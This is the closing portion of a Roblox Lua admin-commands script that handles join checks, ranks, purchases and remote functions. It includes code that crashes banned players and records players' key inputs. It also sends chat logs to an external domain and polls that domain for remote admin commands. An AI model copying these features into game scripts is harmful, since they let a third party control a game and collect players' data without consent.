8871 CORE:Kick(Player)
8872 for _,Person in pairs(Server.Players:GetPlayers()) do
8873 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8874 end
8875 end
8876 end
8877 for _,Name in pairs(Settings.Ranks.Crashed) do
8878 if Player.Name == Name then
8879 CORE:Crash(Player)
8880 for _,Person in pairs(Server.Players:GetPlayers()) do
8881 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8882 end
8883 end
8884 end
8885 for _,Name in pairs(Settings.Ranks.Muted) do
8886 if Player.Name == Name then
8887 GUI:CoreGui(Player, "Chat", false)
8888 for _,Person in pairs(Server.Players:GetPlayers()) do
8889 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8890 end
8891 end
8892 end
8893 if Settings.ServerLocked == true then
8894 if PlayerAdmin == false then
8895 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8896 end
8897 end
8898
8899 if PlayerAdmin == false then
8900 if Player.AccountAge < Settings.MinimumAge then
8901 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8902 for _,Person in pairs(Server.Players:GetPlayers()) do
8903 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8904 end
8905 end
8906 end
8907
8908 if PlayerAdmin == false then
8909 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8910 table.insert(Settings.Ranks["Member"], Player.Name)
8911 PlayerAdmin = true
8912 Rank = "Member"
8913 end
8914 end
8915
8916 coroutine.wrap(function()
8917 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8918 local function SpawnActions(Character)
8919 if Flings[Player.Name] then
8920 CORE:FlingPlayer(Player)
8921 else
8922 GUI:CreateTaskBar(Player)
8923 end
8924 if Beeps[Player.Name] == true then
8925 SOUND:BeepPlayer(Player)
8926 end
8927 if Jails[Player.Name] then
8928 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8929 end
8930 if PermCommandBars[Player.Name] then
8931 GUI:CommandBar(Player)
8932 end
8933 end
8934 Player.CharacterAdded:connect(SpawnActions)
8935 SpawnActions(Player.Character)
8936 end)()
8937
8938 coroutine.wrap(function()
8939 Player:WaitForChild("PlayerGui")
8940 local Sounds = {}
8941 for _,Data in pairs(TextConverter.LetterSounds) do
8942 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8943 Sound:Play()
8944 table.insert(Sounds, Sound)
8945 end
8946 for _,Data in pairs(TextConverter.LongVowels) do
8947 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8948 Sound:Play()
8949 table.insert(Sounds, Sound)
8950 end
8951 wait(5)
8952 for _,Sound in pairs(Sounds) do
8953 Sound:Destroy()
8954 end
8955 Sounds = {}
8956 end)()
8957
8958 coroutine.wrap(function()
8959 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8960 if IsSB then
8961 wait(1)
8962 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8963 end
8964 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8965 print("Executed ClientLog on "..Player.Name)
8966 if Settings.EnableTaskBar then
8967 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8968 end
8969 end)()
8970
8971 coroutine.wrap(function()
8972 wait(7)
8973 Player:WaitForChild("PlayerGui")
8974 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8975 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8976 if Answer == "Ok" then
8977 MARKET:PromptPurchase(Player, AdminID)
8978 end
8979 end
8980 end)()
8981 end
8982end)() end
8983
8984-- Active stuff --
8985
8986CORE:UpdateAdmin()
8987CORE:FixSettings()
8988
8989ypcall(function()
8990 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8991 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8992 end
8993end)
8994
8995
8996Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8997 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8998 if PlayerAdmin == false then
8999 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9000 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9001 end
9002end end)
9003
9004--[[
9005ExecuteCommand.OnInvoke = function(Player, Command)
9006 if Player and Command then
9007 if type(Player) == "userdata" and Player:IsA("Player") then
9008 CORE:Chatted(Command, Player, true)
9009 end
9010 end
9011end
9012
9013ExecuteCode.OnInvoke = function(Source, Speaker)
9014 if type(Source) == "string" then
9015 ExecuteSafe(Source, Speaker)
9016 end
9017end
9018
9019ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9020 if Player and Command then
9021 if type(Player) == "userdata" and Player:IsA("Player") then
9022 CORE:Chatted(Command, Player, true)
9023 end
9024 end
9025end
9026]]
9027
9028KeyPressed.OnServerInvoke = function(Player, Key)
9029 if Player and Key then
9030 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9031 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9032 end
9033 end
9034end
9035
9036InputKey.OnServerInvoke = function(Player, KeyVal)
9037 if Player and KeyVal then
9038 if LastKeys[Player.UserId] then
9039 table.insert(LastKeys[Player.UserId], KeyVal)
9040 if #LastKeys[Player.UserId] > 20 then
9041 table.remove(LastKeys[Player.UserId], 1)
9042 end
9043 end
9044 end
9045end
9046
9047RankPlayerLocal.OnServerInvoke = function(Player)
9048 wait()
9049 local Request = PendingRequests[Player]
9050 if Request then
9051 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9052 if Settings.Ranks[Request[1]] then
9053 PendingRequests[Player] = nil
9054 table.insert(Settings.Ranks[Request[1]], Player.Name)
9055 GUI:TellAdmin(Player)
9056 end
9057 end
9058 end
9059end
9060
9061RankPlayerServer.OnInvoke = function(Player, Rank)
9062 if not RANK:IsAdmin(Player) then
9063 PendingRequests[Player] = {Rank, tick()}
9064 end
9065end
9066
9067IsAdmin.OnServerInvoke = function(Player)
9068 local IsFullAdmin = false
9069 for _,PName in pairs(Settings.Ranks["Owner"]) do
9070 if PName == Player.Name then IsFullAdmin = true end
9071 end
9072 for _,PName in pairs(Settings.Ranks["Admin"]) do
9073 if PName == Player.Name then IsFullAdmin = true end
9074 end
9075 return IsFullAdmin
9076end
9077
9078AddExploit.OnServerInvoke = CORE.AddExploit
9079AddExploitServer.OnInvoke = CORE.AddExploit
9080
9081KickClient.OnServerInvoke = function(PlayerClient)
9082 PlayerClient:Kick()
9083end
9084
9085ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9086 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9087end
9088
9089for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9090Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9091Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9092
9093coroutine.wrap(function()
9094 for _,ID in pairs(Icons) do
9095 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9096 end
9097end)()
9098
9099CORE:SetAbuseCommands()
9100
9101coroutine.wrap(function() SOUND:SyncSoundList() end)()
9102if not IsStudio then coroutine.wrap(function()
9103 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9104 REMOTE:GetRemoteData(true)
9105 REMOTE:CheckTrelloInfo()
9106 coroutine.wrap(function()
9107 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9108 REMOTE.RemoteConnection = true
9109 end
9110 end)()
9111 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9112 coroutine.wrap(function()
9113 if Settings.LinkedAccount ~= "" then
9114 local Request = nil
9115 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9116 if Request then
9117 REMOTE:HandleRequest(Request, true)
9118 end
9119 end
9120 end)()
9121 coroutine.wrap(function()
9122 wait(RemoteData.RemoteAdminWait)
9123 while REMOTE:GetAndSetWebData() do
9124 wait(RemoteData.RemoteAdminWait)
9125 end
9126 end)()
9127 coroutine.wrap(function()
9128 while wait(60) do
9129 REMOTE:GetRemoteData(true)
9130 REMOTE:CheckTrelloInfo()
9131 end
9132 end)()
9133end)() end
9134coroutine.wrap(function()
9135 if Settings.TrelloToken ~= "" then
9136 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9137 if #Trello.RequiredLists > 0 then
9138 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9139 if Trello.MainBoard.name then
9140 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9141 REMOTE:TrelloCacheData(Lists)
9142 REMOTE:TrelloHandleData(true)
9143 coroutine.wrap(function()
9144 wait(RemoteData.TrelloWait)
9145 while REMOTE:TrelloHandleData() do
9146 wait(RemoteData.TrelloWait)
9147 end
9148 end)()
9149 end
9150 end
9151 else
9152 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9153 end
9154end)()
9155coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9156 REMOTE:SendChatLog()
9157end end)()
9158coroutine.wrap(function() while true do
9159 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9160 if ThisDate then Date = ThisDate end
9161 wait(600)
9162end end)()
9163
9164print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")